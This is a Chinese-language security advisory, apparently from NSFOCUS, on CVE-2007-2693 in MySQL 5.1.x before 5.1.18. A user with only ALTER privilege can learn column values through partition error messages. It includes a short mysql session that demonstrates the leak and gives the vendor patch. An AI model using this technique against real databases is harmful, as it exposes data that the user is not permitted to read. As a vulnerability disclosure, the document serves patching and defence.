安全研究

安全漏洞
MySQL Alter Table函数信息泄露漏洞

发布日期:2007-05-16
更新日期:2007-05-18

受影响系统:
MySQL AB MySQL 5.1.x < 5.1.18
不受影响系统:
MySQL AB MySQL 5.1.18
描述:
BUGTRAQ  ID: 24008
CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。

如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:
ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));

MySQL会返回错误消息:
"Table has no partition for value 18".

这样该用户就可以知道存在column1 = 18的列。

<*来源:Peter Gulutzan
  
  链接:http://bugs.mysql.com/bug.php?id=23675
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

以root用户发布:

mysql> create table tu (s1 int);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into tu values (1);
Query OK, 1 row affected (0.00 sec)

mysql> grant alter on tu to molly@localhost;
Query OK, 0 rows affected (0.01 sec)

以molly@localhost发布:

mysql> select * from tu;
ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table
'tu'
mysql> alter table tu partition by list (s1) (partition p1 values in (1));
Query OK, 1 row affected (0.05 sec)
Records: 1  Duplicates: 0  Warnings: 0

mysql> alter table tu partition by list (s1) (partition p1 values in (2));
ERROR 1513 (HY000): Table has no partition for value 1

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.18-beta.tar.gz/from/pick

浏览次数:4487
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障